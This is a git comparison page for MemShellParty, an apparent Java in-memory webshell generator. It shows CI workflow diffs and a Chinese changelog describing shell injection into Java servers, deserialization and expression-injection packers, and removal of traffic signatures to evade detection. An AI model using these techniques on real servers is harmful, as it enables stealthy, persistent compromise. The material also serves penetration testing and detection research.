Compare commits

...
104 Commits
Author SHA1 Message Date
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
407 changed files with 7386 additions and 2761 deletions
+1 -1
View File
@@ -35,7 +35,7 @@ jobs:
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle
run: ./gradlew :boot:bootjar -x test run: ./gradlew :boot:test :boot:bootjar
- name: Upload Boot Jar - name: Upload Boot Jar
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
+41
View File
@@ -0,0 +1,41 @@
name: Docker Build Test
on:
push:
branches:
- master
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'vul/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
+41
View File
@@ -0,0 +1,41 @@
name: docker-push
on:
workflow_dispatch:
inputs:
path:
description: 'Path'
required: true
default: '/redqueen-memshell-party'
tag:
description: "Tag"
required: true
default: "redqueen"
jobs:
docker-push:
name: Docker Push
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=${{ inputs.path }}
CONTEXT_PATH=${{ inputs.path }}
push: true
tags: |
docker.io/reajason/memshell-party:${{ inputs.tag }}
@@ -0,0 +1,76 @@
name: MemShell IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
@@ -0,0 +1,72 @@
name: Probe IntegrationTest
on:
workflow_dispatch:
push:
branches:
- '**'
paths:
- '**/probe/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
+1 -1
View File
@@ -112,7 +112,7 @@ jobs:
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v6
with: with:
context: boot context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
build-args: | build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party ROUTE_ROOT_PATH=/redqueen-memshell-party
-174
View File
@@ -1,174 +0,0 @@
name: Test
on:
push:
branches:
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
memshell-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
detection-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+35
View File
@@ -0,0 +1,35 @@
name: Unit-Test
on:
push:
branches:
- '**'
paths:
- 'generator/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
cancel-in-progress: true
jobs:
unit-test:
name: UniteTest
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Generator Unit Test with Gradle
run: ./gradlew :generator:test
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
+75 -13
View File
@@ -5,12 +5,78 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13 ## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
### Added
1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息(By @ReaJason
2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名
3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud
4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法
6. 支持 SpringWebMVC 回显马生成(#107
7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入,#109
9. 支持 AbstractTranslet 打包方式,方便 TemplatesImpl 反序列化漏洞注入
10. 支持脚本引擎执行回显马生成,方便调试
### Fixed
1. 修复自定义内存马生成报错(#102#106Thanks @love71 and @m0s30
2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉(#105 Thanks @love71
3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接
### Changed
1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
3. 依赖更新
**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0)
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
### Added
1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu
2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
```http
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
```
改为只需要如下方式
```http
/path/code?payload=IBVQEAJ29yZy9hcGFj...
```
### Fixed
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93
### Changed
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
2. 去除 logbackjava11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
7. 优化 Agent Attacher JDK11 异常处理
8. 依赖更新
**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13
> [!WARNING] > [!WARNING]
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 > 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
> 进行调整。
### Added ### Added
@@ -28,18 +94,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
### Changed ### Changed
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74) - **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` - **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- 简化 Tomcat AgentInjector 的代码 - 简化 Tomcat AgentInjector 的代码
- 前端 module 分包减少单个 js 体积,加快首次加载速度 - 前端 module 分包减少单个 js 体积,加快首次加载速度
- 移除 memshell-party-bom 模块,改用 - 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs) - 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 使用 build-logic 替代
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块 - 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell - 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令 - 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler - 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
+3 -3
View File
@@ -1,4 +1,4 @@
FROM buildpack-deps:bullseye-scm AS source FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
WORKDIR /usr/src WORKDIR /usr/src
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
